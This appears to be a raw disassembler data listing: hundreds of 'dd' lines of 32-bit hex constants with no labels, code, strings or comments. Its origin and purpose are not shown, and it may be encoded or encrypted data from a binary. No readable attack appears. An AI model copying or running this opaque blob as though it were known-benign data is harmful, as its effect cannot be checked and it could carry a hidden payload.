		dd 80314F8Ah, 5EE99322h, 0AD2B9957h, 1695879Eh,	56872072h
		dd 7EEE4260h, 74BF9F57h, 5A240429h, 8D621A68h, 0A9D7417Eh
		dd 142008D5h, 0AE7E670Ah, 797DEA07h, 4BF3C064h,	82F16B5Ch
		dd 0C7167A0Ch, 28595E3Dh, 3237F0ECh, 53F8074Ch,	9EF2610Fh
		dd 21F8DB26h, 68A294D1h, 0DEDD09B6h, 0CA698D51h, 8DC37CC8h
		dd 0DEAF0F1Dh, 0AE3A47C1h, 52666061h, 5316973Fh, 5E9E3C84h
		dd 5DA6E9D0h, 0CB511674h, 4561D5F1h, 912508BFh,	5E5BC582h
		dd 0D0AC2B3h, 0A0D87AE9h, 16F13CB1h, 885D9542h,	10B07F9h
		dd 5BB548CDh, 80349655h, 290E2FE4h, 0BAB23EE9h,	4281AB2h
		dd 0A500C250h, 89727E70h, 4DE95BD8h, 77EEECDh, 0C7FEA9B7h
		dd 52E22080h, 413B151h,	838710B2h, 0FE12EAC0h, 78F2EAC2h
		dd 0CF94EA01h, 0C1C79026h, 73020987h, 8A6ED728h, 7BB4A080h
		dd 7DC48007h, 0EC53DCF6h
		dd 1F06304Bh, 0E7287916h, 18AF5856h, 3A2FA88h, 0EFB68373h
		dd 4E964BF2h, 0E42E9628h, 0E9CF4949h, 0D9BCAB0Bh, 0A6FAB07Bh
		dd 364ED525h, 267E6A90h, 0C06826E9h, 5FF986CCh,	895AC229h
		dd 0E91AB8CEh, 4AF67B44h, 3494C581h, 0BEF9E8F0h, 1133D125h
		dd 27B8A910h, 0AC5A1454h, 1F9B01Eh, 12A37763h, 896B6168h
		dd 1828C46Fh, 24F5B3ADh, 1663B050h, 0ED71903Ch,	37272EC0h
		dd 0C09FE225h, 307AC42Fh, 9AEA3399h, 327FE663h,	820E8B6h
		dd 7E141CD1h, 0A32E4013h, 572408FCh, 0EFFC6F5Dh, 0E72184Eh
		dd 18F7508Ah, 0D71BE5E9h, 5392EF7h, 110C63FBh, 75C0BBB4h
		dd 28080B62h, 1C420112h, 69860809h, 897F12D3h, 2B533E26h
		dd 969E008h, 7A7280E9h,	72C304BDh, 686DD899h, 0C53C13D3h
		dd 78BBE8B8h, 0B460E12Ch, 98DD94h, 51F3D8E7h, 45E392Dh
		dd 0E8297412h, 17AF8057h, 32909F1Fh, 0A719542Dh, 8A62C71Ch
		dd 0EF4D606Ah, 622E264Bh, 0CCE26B5h, 3766E9C1h,	5D40244Ah
		dd 57D071Eh, 77E5EE4Dh,	7B2C26ABh, 125414FFh, 0D6022307h
		dd 0BFF56060h, 1760893Ah, 882D990Ch, 4BE19054h,	4435095Dh
		dd 95BD8120h, 7A17031Eh, 552C5955h, 0F6D96687h,	0E9FA0A01h
		dd 0E0130C0Fh, 59C82931h, 78504939h, 36238FFh, 0E0C1405Bh
		dd 0E397A208h, 0B705989Dh, 0C4FB0B46h, 0DA708DE9h, 4169D096h
		dd 0AB60585Dh, 0EC4992BFh, 0DA66066Ah, 2BB85023h, 88C82CC3h
		dd 0ABB7FA10h, 26306F83h, 3AF842CFh, 681C08D9h,	0AFD954D3h
		dd 5B62616Ah, 0A071A03Bh, 7225E99Ch, 90A68166h,	5F5F996Ch
		dd 0CE5E763h, 0A1250621h, 0E69FE9E7h, 9A1356Bh,	5E68F247h
		dd 2D122EF1h, 0B456079h, 96C202E1h, 0B4D30425h,	0B64B9FA1h
		dd 12296ED8h, 88565DEEh, 0C3963441h, 7EB0E95Ah,	2CAF43A0h
		dd 3DC00416h, 0A86406A6h, 33782FC7h, 0F2051998h, 66D4AD81h
		dd 23F83D25h, 829DFBA6h, 9E02E4B9h, 4E2F50E0h, 42BECEA4h
		dd 0E561908Ch, 2BDB04C5h, 0E055582Eh, 5B75D33h,	0F9924BECh
		dd 505BD4BAh, 52544C68h, 414048CFh, 5DFA0305h, 0C689331Ah
		dd 42DA86E2h, 32DA590h,	0F9FF1322h, 247FEEB4h, 6DBB08D8h
		dd 33EF830Fh, 21987CBh,	40D051B9h, 0AF05F8FDh, 5694581Dh
		dd 0DD3CC940h, 17505F06h, 4B39E8E9h, 33F359C0h,	5CC243h
		dd 1874C317h, 0DE313A08h, 47949Dh, 423B7A2Dh, 3A8056Ch
		dd 0E97EDE06h, 0EC411EB0h, 524113FDh, 0C1A9C210h, 0A45D0885h
		dd 91973130h, 0C110B500h, 7D26BF3Eh, 148B63C8h,	9A81022Ah
		dd 3951310Ah, 9890A422h, 0A46DADE9h, 5AD2581Ah,	0B2B54F84h
		dd 4FAB906Bh, 74551372h, 13BCE858h, 666FF6E2h, 6FB64EEh
		dd 843A54F3h, 1A61D810h, 0CE2CD83Dh, 3F2899C9h,	0AF6283A2h
		dd 0DEB18B13h, 36533BDCh, 4CFC95B0h, 13F3D7Bh, 6132175Ch
		dd 0AF840383h, 0C094E4h, 203FF5EDh, 0A0A01991h,	11C6634h
		dd 30B7E933h, 70F26822h, 0C7B897AEh, 770BEA81h,	5A1C3C27h
		dd 820882F3h, 0A402BEDDh, 9080C015h, 0D0F2014Dh, 0E916082Ah
		dd 5645559Ch, 0F8295C83h, 48182BF1h, 2FF0F13Eh,	10C42066h
		dd 76C5005Dh, 89FBF554h, 35015DE8h, 9EA7F874h, 0C12529E9h
		dd 4378FF00h, 0F80B7BAAh, 69A29F70h, 5B04495Ah,	0CD16B7E3h
		dd 2CE3D246h, 0B40041h,	2E68E2D1h, 64E252B8h, 3DF4C355h
		dd 7CB83D44h, 0B9FD85BDh, 78A02A49h, 0B72D0772h, 0A23D8948h
		dd 5ED94CF5h, 0BB7A2A3Ch, 8F1DAFBBh, 55B93AE5h,	0CB68C8B0h
		dd 0A6354A5Fh, 8BF77631h, 6B0EF9EAh, 0E7FBAD68h, 9F262B2h
		dd 0D2771D32h, 4CE4D2CAh, 0C91ADBC7h, 6E405332h, 20BA51BDh
		dd 0E781D701h, 3F285C7Ah, 0E2EFD8h, 5654A574h, 3621BF57h
		dd 0D019622Eh, 0C0F34A13h, 0C9AC899Fh, 6F0D6229h, 5457ECB3h
		dd 72885280h, 61F07ACEh, 0AA68AF2Ah, 78B9732Eh,	530EE4Ch
		dd 40AEE96Fh, 0EDC5ECF8h, 4F6E312h, 3D076857h, 5FA386B8h
		dd 52085EE9h, 0FD684ADAh, 318ACBDh, 0F7BC4464h,	1F3A2621h
		dd 0E5C104F3h, 0FA85C308h, 60659710h, 61FE49DFh, 45958664h
		dd 0DD5C13B6h, 93302BF7h, 955BD829h, 0B83B1524h, 40B807F2h
		dd 5700115h, 2D61ECEDh,	2E6129CCh, 2DC730CBh, 21630216h
		dd 0ED096006h, 8C2CE69Dh, 0D35C5725h, 0BB5308C7h, 286F7C6Dh
		dd 0DD246840h, 0E569CC66h, 31C2E78h, 6796A55h, 0E059CFD1h
		dd 752535A1h, 512B8427h, 0F216E5B0h, 347A5E0Eh,	0CB3119Dh
		dd 0C865526Bh, 0C9520B2Dh, 75037Eh, 0BC13A069h,	1D85F70Bh
		dd 0FCA6EB83h, 6E41954Ah, 587F4360h, 7268C164h,	2FE01312h
		dd 257BB9B3h, 0D1C67D2Ch, 0B74EFF09h, 0F7BA8013h, 12421A9Bh
		dd 825BD929h, 85E47252h, 0BB7EDE88h, 5912CDFAh,	0D796E821h
		dd 27E92FF8h, 8C5C5689h, 9CA89EC5h, 53CB4140h, 0E912D95Fh
		dd 0BD3180B3h, 0A2E4FB2h, 0F503817Dh, 9104F716h, 6A8083D0h
		dd 0FA573A2Dh, 70B0511h, 4287D89Ch, 0E2D50F97h,	0E46E4C08h
		dd 45AD3h, 0DCC43BAFh, 0B4DF293Dh, 14DE58Bh, 0AA785714h
		dd 48C880EEh, 0B862067Fh, 134B4F1Bh, 0F2089838h, 0B413002h
		dd 503DE944h, 190D9098h, 46D86199h, 0C208D4CFh,	0E7066B98h
		dd 7AA02462h, 261E7718h, 3C2C01BDh, 517B0CE0h, 0EAA8B9E9h
		dd 0BD56ADh, 0B665ECE8h, 6907FC63h, 70101C6Ah, 0BE80B170h
		dd 1F91EC9Eh, 16DEF776h, 318B4495h, 95CEE2C8h, 0ABE909D2h
		dd 0BA8593DAh, 0E1914001h, 28650020h, 216CB81h,	0D2C01C24h
		dd 365535F0h, 0E9DF17F7h, 0B7EC418Dh, 30B55154h, 79A9274h
		dd 62811AB5h, 80ED74DCh, 0A19971C3h, 0DA540948h, 0F5270166h
		dd 663C095Eh, 85C2E42h,	0B0FC428Bh, 0EB5F5D02h,	51CF993Eh
		dd 0A0DD2172h, 76DF9A9Dh, 67BD809Eh, 0B92AD40Eh, 0AE231D05h
		dd 9A822947h, 0F898505Ah, 46221268h, 0C024C41Bh, 0F17556E7h
		dd 0FA011D16h, 5808F710h, 9F174103h, 17095B18h,	4E9D7079h
		dd 28D48150h, 3A1D2FEFh, 0F8D6611Dh, 157FA204h,	5E2778A3h
		dd 0FDC6FB69h, 5586C1Eh, 712EF4BBh, 5504F3ACh, 8079C846h
		dd 0EA2AEF3Ah, 0F1C7034Fh, 6C24E390h, 0D2195CE5h, 0F925F3Eh
		dd 0AA670056h, 21FAC8B2h, 5CD8EB5Dh, 88B127Eh, 680AA1A3h
		dd 0A84A5323h, 540E3279h, 0D40D097h, 2930024Bh,	28C67034h
		dd 0B37909Ah, 0B31BE9D3h, 0CECB2CC8h, 1ACDC16h,	342626B5h
		dd 0A8CB134Fh, 0E5E9F1C9h, 0D3018D51h, 0CC48B526h, 15252931h
		dd 0EE6F9CE6h, 7C31A42h, 0C60E625Ah, 58C6250Dh,	9220A5DAh
		dd 9968123Fh, 2794CC03h, 5AC240h, 0FEB5B652h, 0AEE80C6h
		dd 660C7FCh, 46FC1A1h, 503AF7B1h, 62510890h, 294ADD3Ch
		dd 19452B0Bh, 82F85D05h, 0AF30D090h, 0F58163D8h, 840905E0h
		dd 0F86C0127h, 52978AECh, 28114BC6h, 0CD2834Eh,	9A1010ADh
		dd 0A4CD4A52h, 9DFED7ECh, 4E031048h, 0BF06B401h, 87189FCh
		dd 0E29A124h, 0E9215FFDh, 0B67C1CEh, 36416352h,	5584403h
		dd 3C725691h, 0C100C28Ch, 0CA8103E2h, 0E256C26h, 92B64804h
		dd 1877300Ah, 0A8F8C30Ch, 0D6013909h, 0B64D35Ah, 5D96242h
		dd 0D1C20903h, 64B2E1E2h, 7A773E23h, 8F65D95h, 11EC5F25h
		dd 4DEBC35Ch, 225A2ED2h, 52CE2D01h, 346F51DEh, 0A5C92DAAh
		dd 0B3BC577h, 8BA9E4E9h, 4A3BF8DBh, 7D1AE6E2h, 1BF62214h
		dd 5FF9C2CDh, 4E3F9075h, 0F1A4FEE7h, 0C6AEE85Eh, 959FC821h
		dd 888ED296h, 0A685509h, 80EAF942h, 6E70174Ch, 7A001E35h
		dd 0D8F738CFh, 7C68D405h
		dd 0D483CEEh, 10757F82h, 0EC68E8E9h, 6815C7FEh,	1C265618h
		dd 263E3CB0h, 79A54758h, 62E904BCh, 0FC6BB50Eh,	5F13ED7Dh
		dd 41A36468h, 4629BF25h, 0E95F8900h, 6EDEAE2Eh,	9127FE1Eh
		dd 0E0395E6Ch, 24511B10h, 15C8085Dh, 3C5CE984h,	65C58BFCh
		dd 9E8D666Ch, 144C472Dh, 5D24B01Ch, 128BFD1Dh, 500A170h
		dd 70F42D0Ah, 553F6851h, 0DF206367h, 663E1398h,	0A8AF007Dh
		dd 906812Dh, 93E9D612h,	15DD2B91h, 3E412F18h, 3DC18330h
		dd 0E22505EFh, 93803D09h, 36043A7Eh, 0F2250494h, 161A9007h
		dd 1E6F3CF4h, 4C2096A6h, 0D345095h, 7E5B1812h, 0EDC0C412h
		dd 3DB304ACh, 0F530FB2Ch, 81B050B9h, 1E0C03Fh, 0BBB15166h
		dd 893BC820h, 7614F5E6h, 6B4F16A0h, 0E4206F9Dh,	0E90DC502h
		dd 0B8CC4B68h, 0C3F58A5Ah, 6A34CF2Eh, 25FA5008h, 980819E5h
		dd 88E02EE6h, 492F3262h, 8F78CEBDh, 10C49A5Bh, 0BD3EEC95h
		dd 6B02578Bh, 0BCCDC180h, 14583079h, 592E0160h,	0BFE9472Bh
		dd 0BB02A32Ch, 34925869h, 0B9806B51h, 1AEA485Fh, 98F3BA41h
		dd 2C770D46h, 300C5826h, 92026ADBh, 0CDE9CE89h,	1CAA7DF5h
		dd 26654957h, 5529680Eh, 62D784AAh, 0BEF75F04h,	666D03C2h
		dd 0EF819D5Dh, 0F865417Bh, 0DCB4CF28h, 9FC83E80h, 90C531E5h
		dd 311B4100h, 9506B61h,	15D25AD3h, 0B0B6795Bh, 67572226h
		dd 6801623Bh, 0EA26082Ah, 48DE6A09h, 7C6FDB3Ch,	338AC1C3h
		dd 2856E712h, 0EE8C0B78h, 0C25A02DDh, 0B06444Ah, 541076F7h
		dd 1D5EF780h, 0F3EC2BDEh, 597E9212h, 0CD16561Eh, 852A83CDh
		dd 0F8108287h, 0C78A9CDCh, 2028C04Dh, 0DB1E1E4Ah, 3A020917h
		dd 0FC789B68h, 545E652Eh, 1F02C2E5h, 0F77C837Dh, 9368E060h
		dd 0F1CC524Fh, 5DCA407Ah, 0BDDF3097h, 453205A2h, 0F0C5E930h
		dd 4E75B39Bh, 0B0FDD84Ch, 74986866h, 0DFDB174h,	0D94B2754h
		dd 73153881h, 5DE8311Ch, 0ED66C3DDh, 5BABC10Bh,	0F357932Ch
		dd 5FF818FAh, 8156AB44h, 80BF3158h, 0AD055CC5h,	0BC7AD017h
		dd 50AE16BDh, 312F9F74h, 0E6C0E981h, 933B7105h,	1527A16h
		dd 5C1707CFh, 0E95A0480h, 28CBB822h, 4B26D3ADh,	7EACB10Fh
		dd 13ABA430h, 5E0D7EEFh, 5A150BA2h, 0EE40E14Ch,	733460B3h
		dd 7A2D6DCDh, 0C5616F76h, 219084F4h, 53508A41h,	5156CF42h
		dd 0B1758B5Ch, 4E69C590h, 0E541FB28h, 0E13E80C0h, 0A312C1Dh
		dd 1FA3E9FEh, 885980C5h, 0F6805BDEh, 0C6138D73h, 0EF095354h
		dd 0E711E85Eh, 10DF1460h, 0A8179B31h, 0E3F3F5F3h, 9E3BBD9Ch
		dd 0C59DAAAAh, 6375A4B2h, 0F7354FE3h, 0A7A4DECDh, 90EBF259h
		dd 796924Ah, 0E26469B9h, 479A278h, 83895153h, 26FB59EAh
		dd 9F474889h, 4142D77h,	0B29DED76h, 35FED96Bh, 6D210D0Eh
		dd 6A600E7h, 0A767E75h,	3C2C67Ah, 51713D68h, 50C48D5Fh
		dd 7476210h, 70490566h,	4BE5A9D3h, 8327C434h, 9FA81B7Fh
		dd 0CE0901F3h, 0D096E959h, 0F8303BB0h, 84376EAEh, 0AAC1215Ch
		dd 12C44A22h, 2B026561h, 0D660F28Bh, 25E168B4h,	0E9D21895h
		dd 0F2354F38h, 98A42218h, 280B0164h, 526658C3h,	0F3BAD3B6h
		dd 80C21AF4h, 9D40C0C3h, 6C6D9548h, 0D5B85C93h,	0BEE634A7h
		dd 3881A86Dh, 0BC6F3ABDh, 154E216Bh, 51430F86h,	81F020F6h
		dd 65240BE7h, 0EF078922h, 1C6044CAh, 0B2FD83E9h, 4FA1B88Bh
		dd 0D3F135E8h, 2CCCAFDh, 0FE675568h, 9FE6766h, 56510256h
		dd 18DA5D5Dh, 0ECB40CE9h, 0E3E872Ch, 0C403F180h, 1DC407E1h
		dd 2DEAFFD4h, 83D2078h,	32832496h, 0B0707316h, 221CDC9h
		dd 51566E12h, 270DDE9h,	0B417CFDEh, 3BFCB952h, 6FB3B7B4h
		dd 0AF1F6473h, 43AD5891h, 3567A207h, 5A6A19D5h,	5D256808h
		dd 3A2F181Bh, 0F00E4A0Ch, 0A05D459h, 0EBE9484Eh, 2C808AE0h
		dd 3C4B3ACEh, 0D90345C1h, 0A8E6F8D9h, 0CA011CC7h, 93B00A7Bh
		dd 0EAE9C045h, 7B7AE693h, 9DA8C688h, 5CA68ECDh,	3D668200h
		dd 97F20151h, 94C4F4Ch,	0B1F78001h, 0BF5D6F43h,	0CA833189h
		dd 4C9A4B7Ah, 0E901DC74h, 5CC2B1CFh, 13F21E3Bh,	0B9D1B0E7h
		dd 0E026109h, 24C4FE40h, 9407E47Ah, 0B027F8F0h,	4949619Bh
		dd 0E105FD74h, 0C0A343BFh, 2394F102h, 0FD4FC328h, 4539C209h
		dd 0D8090169h, 0E700210h, 0B8915Fh, 16075BC2h, 0D058310Dh
		dd 207F581Eh, 24CA038h,	0B1434D68h, 0E921984Fh,	66B5D1ECh
		dd 4E361931h, 32EF843Dh, 2AE90968h, 0B5DC818h, 0ACD001Dh
		dd 6858C631h, 2DAA1B66h, 0A18C717Eh, 1C6F9BDh, 1D2D1C44h
		dd 0F85EF229h, 32D6308Eh, 0F2032EF0h, 255E9463h, 5D0CAE82h
		dd 0C276A63h, 0E98B4804h, 0ADEE6E65h, 5BC2FCD3h, 8D044F52h
		dd 34BF49B6h, 12378BB0h, 758032E9h, 0E4C38853h,	0B75B75DAh
		dd 0D004FB2Bh, 2727BE25h, 0F1224182h, 56FAA5D9h, 51D9D727h
		dd 89DD9EB8h, 187057D4h, 0E8C630E6h, 777F4397h,	7FE35E7h
		dd 58BAA20Eh, 240D21B9h, 5B324B88h, 1F824480h, 0FFA04296h
		dd 0F2C437Eh, 0EE420E22h, 7AD74C20h, 0F137355Fh, 4885AC9Ch
		dd 614C269Ah, 0F815864h, 24BBB7EFh, 5947B04Fh, 6B2C4600h
		dd 4835E281h, 0E9671626h, 2B8BA176h, 0BEF5BA39h, 0B70DA804h
		dd 54526168h, 0C8293B5Ah, 8B3265F2h, 2681E8C1h,	741E68C8h
		dd 0D04BE944h, 0D5824184h, 0C3522745h, 535C1318h, 2214E25h
		dd 5C022772h, 698C167Dh, 567C6E33h, 7091DAC9h, 0C94055B9h
		dd 8821E742h, 4130FB2Eh, 0E658E630h, 9FB8BFF0h,	24B2440Fh
		dd 9FB87E49h, 0A6CEA74Ah, 2711F781h, 48217E53h,	4AC6950h
		dd 0B3C8D3E7h, 0F7B60F8Eh, 840D8A68h, 48126289h, 0C4ADCB5Dh
		dd 0F8CE293Ah, 0A8ED9336h, 1A2A7B98h, 4C620594h, 99945954h
		dd 2E582131h, 9EB1180h,	51C93B63h, 0ECBEC302h, 0C3F897AEh
		dd 0D2E96839h, 0C3642527h, 66F8814Ah, 0B36C1FAh, 807FBD02h
		dd 814D4C57h, 7F9102F5h, 0EF295ABBh, 5CF5341h, 512724BCh
		dd 46A53CF3h, 25683F0Eh, 9573BD4h, 33E95651h, 0B30BE2D8h
		dd 87C3FE11h, 0F333E045h, 0D4F1FB20h, 4067BDCBh, 0B2AAF254h
		dd 642F76D6h, 0B38F5007h, 3D8BB272h, 6DBC7A2Ch,	0BD4E8093h
		dd 9B650487h, 9FEDF5Bh,	0F356553Bh, 44945F72h, 5C60A8BCh
		dd 58C8AF0Fh, 641A6251h, 7848A9A5h, 430D331Bh, 1054016Ah
		dd 0C4844F1h, 5DE9E25Ah, 6587FCDh, 19662F10h, 45FE32B3h
		dd 0FE3F8540h, 0B0E3F0CBh, 0EA4A2617h, 0C9C89D59h, 0E89146E1h
		dd 73BC803Eh, 0DE439B25h, 97EA51h, 0D32D16Ch, 1CC842C3h
		dd 3800E2EAh, 0B72D7C82h, 0BE6B453Fh, 0E3681ADDh, 9881AEDCh
		dd 2949773Ch, 0A0912DEh, 0C1697C12h, 0FC80804Dh, 0E9A39D95h
		dd 889B503h, 52168771h,	8C4910A2h, 0A8D8E984h, 305B0941h
		dd 41A0D9E8h, 6C591568h, 80C2C055h, 9669EE2h, 0C852E953h
		dd 0E18218CEh, 5050FCE4h, 0A44095CFh, 1071BFh, 0E7815E53h
		dd 3CB742CBh, 9D09C7ECh, 0DCEC8932h, 0B9E90446h, 0BA6D94F4h
		dd 651EB801h, 486D27A6h, 61025289h, 6801B3FDh, 0DB886054h
		dd 5A173770h, 9229C78Ch, 0A75FB90Fh, 6805F0F3h,	66EC4251h
		dd 0AD6562CFh, 6233E803h, 9B0079Ch, 9D0106F6h, 8943A708h
		dd 387B5B65h, 48F931CDh, 0DC8B0295h, 0A61154EFh, 88199535h
		dd 769A9B8Dh, 41033497h, 0ED246E83h, 2A9045ABh,	7B84A75Bh
		dd 0D9C461FAh, 92A856E1h, 1985B8A0h, 0E925340Bh, 8808609Dh
		dd 135B58DCh, 0D4A8A613h, 20EC118Bh, 0D60BE9C2h, 5DEFDAA1h
		dd 81EE2031h, 3C2FE503h
		dd 0B5C123C6h, 399603BEh, 1E765836h, 0CB61EA01h, 26BEE90Ch
		dd 64F6202Ah, 8B08966h,	0B8A3762Ah, 4D4B71ECh, 7E61C7DDh
		dd 6FB72089h, 8D124A85h, 0B2D802D5h, 55A59A5Dh,	36BCCABCh
		dd 0B582796Bh, 5323AF95h, 0F795022Ch, 1C783DFh,	0FD2509E0h
		dd 0C42F7782h, 22F8D52Bh, 0B03CB2BFh, 973EB30Dh, 6875844Eh
		dd 0FC211B64h, 1F4AC1D3h, 84432DB6h, 0A2DAF739h, 18CA9487h
		dd 0BB121CF4h, 0E46812C3h, 0EA00065h, 2941A836h, 35F371F7h
		dd 0E62A2CB1h, 0D368374Ah, 78FA8D83h, 0B227D220h, 608F3402h
		dd 7097BDE0h, 0E9291375h, 0F66CC073h, 0CDB080D6h, 53A5D8E7h
		dd 2C4AB301h, 4D82821h,	0F05341D2h, 80E3A470h, 0D3E4DA30h
		dd 8D2F634h, 0BF0B0812h, 1B4E1041h, 0F6DE5B28h,	2387139Ch
		dd 0D6CB94A8h, 58BB3620h, 8E1FDE9Fh, 0AD17D931h, 4D66E347h
		dd 2DEDF029h, 6BFA292Bh, 1C566F20h, 0CF16E780h,	0F06BD3CFh
		dd 6866E1A0h, 0BBF207F2h, 0FD8835C6h, 4314D38Bh, 0E1F280C6h
		dd 0C0EAC299h, 0CBA05AD0h, 0DB9E44FBh, 8022684Bh, 698D9407h
		dd 0EEF91F78h, 92603D8h, 0C20096F2h, 0BF24A399h, 0F5899F31h
		dd 290AD752h, 0C2657839h, 3D0C8500h, 9BEA313Eh,	60CA2071h
		dd 0AFEB9DCBh, 8DF4E328h, 349D04Dh, 0D4170FEFh,	6B08DA1Fh
		dd 73EA83BCh, 0F40A4BF0h, 9616B480h, 9D05F480h,	0CCBA278h
		dd 89C12427h, 5C8652FAh, 0D22C69E0h, 35C76495h,	0E1DDFD7Bh
		dd 122F20FFh, 9F908292h, 9BBB5301h, 4B49847Dh, 7393C82Eh
		dd 0C41AD1ECh, 0C3A543E9h, 0BBDBC694h, 988A09Fh, 598D0A47h
		dd 0ED4CEED0h, 147C1214h, 0A20492EDh, 0A85E9F7Fh, 0C73E16B2h
		dd 0F141C3B5h, 3379A13Bh, 0C5162C09h, 0E5ACB4F8h, 1E4F6874h
		dd 15621D8h, 0F96646BEh, 2C9AE97Dh, 9E9C5CCAh, 0B2F2418Ah
		dd 285AF384h, 0B0EB6C80h, 0B2521751h, 0E90637A2h, 3A8A6807h
		dd 5BF2639h, 0D468E9FBh, 488A825Dh, 0C610D76Bh,	355CA0E0h
		dd 0AC31E44Eh, 26680244h, 6C873AA5h, 79BCC940h,	0EB607B27h
		dd 2BBEBCC9h, 48E361C5h, 4902C25Eh, 0CEBD7768h,	42D60D0Fh
		dd 5C5D6909h, 0ED500042h, 0FABA5272h, 474A6813h, 489F2B00h
		dd 2FE9E70Bh, 7E1CAB2Dh, 0FE358703h, 0F0D5F707h, 1B17D8EDh
		dd 124D1926h, 0F60523Bh, 12312324h, 0F8EC5004h,	4CB2B800h
		dd 48716E3Bh, 0DF6D2D00h, 0C131458Bh, 0A3E91558h, 4358FBD3h
		dd 0AFE07B31h, 64300219h, 0AB3555F7h, 17FB2374h, 267B2C63h
		dd 0A8BC828h, 58082409h, 205AF25Dh, 87391F5Fh, 0F9EE27F2h
		dd 163410D7h, 0E5D8FB01h, 80A7127h, 4B0DE941h, 1D5D1228h
		dd 0B1D9467h, 30CDCAE9h, 5F1768CDh, 5440224Ah, 0CD36D60h
		dd 8CB6ECA6h, 4E5DC5CCh, 39F72C5Bh, 0ECA3B74Eh,	18EE5B2Fh
		dd 69A20C44h, 5C288B9Fh, 0CF183AAAh, 0B4C20A0Ch, 34C9D94Bh
		dd 5825172Dh, 0BDB4BC96h, 5F60E950h, 6816704Eh,	43B93601h
		dd 0C0005192h, 15347D7Fh, 0B3B720E9h, 2A612A0h,	8CC154ECh
		dd 7B8801CDh, 6E6F2E84h, 412AAC3h, 8DF76B20h, 7B1E1F09h
		dd 51670947h, 0B7BDD4A1h, 861E6508h, 610ACDD6h,	9C51F0Ah
		dd 1835661Bh, 0BF51206h, 3E28694Ch, 83B81850h, 67A4250Eh
		dd 0E6D0425Dh, 4A0C1240h, 0E1E3E972h, 48897F5Bh, 843B2B5Eh
		dd 31479305h, 96FCEDC7h, 0A6D259A2h, 0EAB71859h, 1B40E1CFh
		dd 54117D5Ch, 3DF450E7h, 0A05E8CE9h, 5C0738F3h,	0D27FB050h
		dd 298030B8h, 1D4C4406h, 0DF021397h, 6D155430h,	0A1894BD4h
		dd 165F33ABh, 56C9E1EBh, 123A5EE1h, 0A4E5B809h,	56DAAE80h
		dd 806B5063h, 8C879425h, 77C71D86h, 7DBF9E40h, 748306AEh
		dd 8F59CF31h, 8102E71Ch, 0EA04C8CEh, 3102DD69h,	625D925Eh
		dd 0D4A089D7h, 0F9F587BDh, 894F623Fh, 2D2D96D7h, 0B045F201h
		dd 0F841490h, 51B083C8h, 4E39D12h, 285BA4F7h, 7F49E96Bh
		dd 625938A2h, 9AF4594h,	8267680h, 829D2D9Dh, 0D54DCF2Dh
		dd 0A54C6691h, 3F245639h, 0F99DF196h, 0E7B19330h, 710E212Eh
		dd 96A2281Ah, 1FF22C24h, 0D405568Bh, 6804A130h,	9C68A1FAh
		dd 0DED94BA5h, 0B5E1F069h, 0BFC572C5h, 9F411252h, 1C976CDFh
		dd 0F17C1A3Dh, 144B0C49h, 0FB74E918h, 662E572Ch, 0AE972C5Ah
		dd 7CBBFE0Bh, 3FED89A6h, 3CC40476h, 0AD383BCh, 0AD6B5B9Ch
		dd 350CCBFBh, 1C2A923h,	212E1C44h, 2FD1095Fh, 56BBD824h
		dd 0FEFD07B0h, 78F049C5h, 439E8B98h, 22C8BA01h,	0D6745DBBh
		dd 4F63FC55h, 1046E3ABh, 5825349Fh, 0FAA24971h,	0BDCF6F20h
		dd 0C250BC05h, 5A00FC22h, 2EA814Ah, 23F4CB63h, 8872D701h
		dd 0C468A2B0h, 3E279F26h, 3F28B9Eh, 0E8BD174Ch,	0E610016Ch
		dd 593F602Bh, 3F30F277h, 0F12E10F7h, 0B50820AEh, 6D02A6E1h
		dd 0F660B4Eh, 549610A3h, 7095AA29h, 1FA8B1D0h, 892FE093h
		dd 0F2D3A3C3h, 0AD2D1C55h, 71BADE52h, 2D828CCh,	95005D5Bh
		dd 12A32778h, 68075777h, 52973339h, 2F66E9F1h, 0E9D32E33h
		dd 8FAE803Ch, 25E97842h, 0C7C8E7DCh, 0C001C08h,	54CE8179h
		dd 0B7581519h, 200127E0h, 0BF316797h, 0EDC50F92h, 0DE1F9685h
		dd 15B9708h, 706E39BFh,	0F1A3C20h, 6B29902Dh, 0D1BD0349h
		dd 517ADA2Eh, 345164Ch,	0A3E3F20h, 66048E76h, 18A0DF5h
		dd 0E91CB6A9h, 4854E603h, 511B02DEh, 5DC11D44h,	0CEC52E7Fh
		dd 2EF769BFh, 0C37A95C1h, 0D8FE2894h, 129BC786h, 0B9315C68h
		dd 27AE5414h, 0F7201C1h, 0AA70C8B7h, 14DC82A1h,	291D9126h
		dd 4016153h, 1EB573D8h,	0B51B9F70h, 582882CCh, 5B263710h
		dd 0F596120Eh, 0B55AFC8Ah, 0C5CA394Dh, 0F0E67EAFh, 0CE76625Ah
		dd 0E7EED185h, 63914EB0h, 83001F53h, 14B702C2h,	38B5A1DCh
		dd 0F6C6416Fh, 34697C5Eh, 1A1F3010h, 0EB01233Bh, 5CB27327h
		dd 1690E3D8h, 0C76A3D14h, 33B381F8h, 4A00C27Bh,	0E4433112h
		dd 14E924DEh, 0BA2C89E0h, 0BC096D09h, 151E0D4h,	59FE9248h
		dd 3276CB9Ah, 0F02144A9h, 0A7073140h, 9589CEBFh, 3F6030EEh
		dd 6851ADEFh, 8C034E83h, 0E3414A47h, 2B738D3Bh,	0EC4E6463h
		dd 4044A9C8h, 0F7728827h, 0F35BF927h, 0DA7008B0h, 206CF027h
		dd 5A69F2B6h, 1F665C5Fh, 0D5945A87h, 231C9500h,	0D3F60E9Bh
		dd 0DA574158h, 0D823C1A3h, 59E9C5D8h, 0E75F8069h, 8AE98669h
		dd 52590929h, 4D505153h, 38259F81h, 0C051A2B0h,	0D25A5F7Eh
		dd 4B85871Dh, 0A53F5661h, 2683CDABh, 0EDD012C4h, 2C979E86h
		dd 9F277B26h, 234DC7A6h, 1BB780B5h, 3FAD8291h, 2225EF31h
		dd 5C16E389h, 0A696F3FCh, 5CF1627h, 3039A5B9h, 762F817Bh
		dd 0F0067453h, 375A63B0h, 5E232828h, 0E90F9844h, 3332D62Fh
		dd 50D8D215h, 78525A09h, 0E9275194h, 69538967h,	1D2F2C33h
		dd 3E7C12Ch, 0E84DEF80h, 0F85A28D5h, 40E97A67h,	0BD21584Dh
		dd 25F29160h, 0CAC51B97h, 26145F9Bh, 33E7EB5Eh,	0BE63404Bh
		dd 46FE7D5Eh, 6AEDF2F2h, 4A07DE18h, 0E9D217F7h,	56D1AC0Ch
		dd 6055077h, 22FCCAB7h,	4993E82h, 6BAAB15Eh, 22989CFh
		dd 0A2669846h, 40972BBCh, 0C340FEDDh, 2870F714h, 69011F1Fh
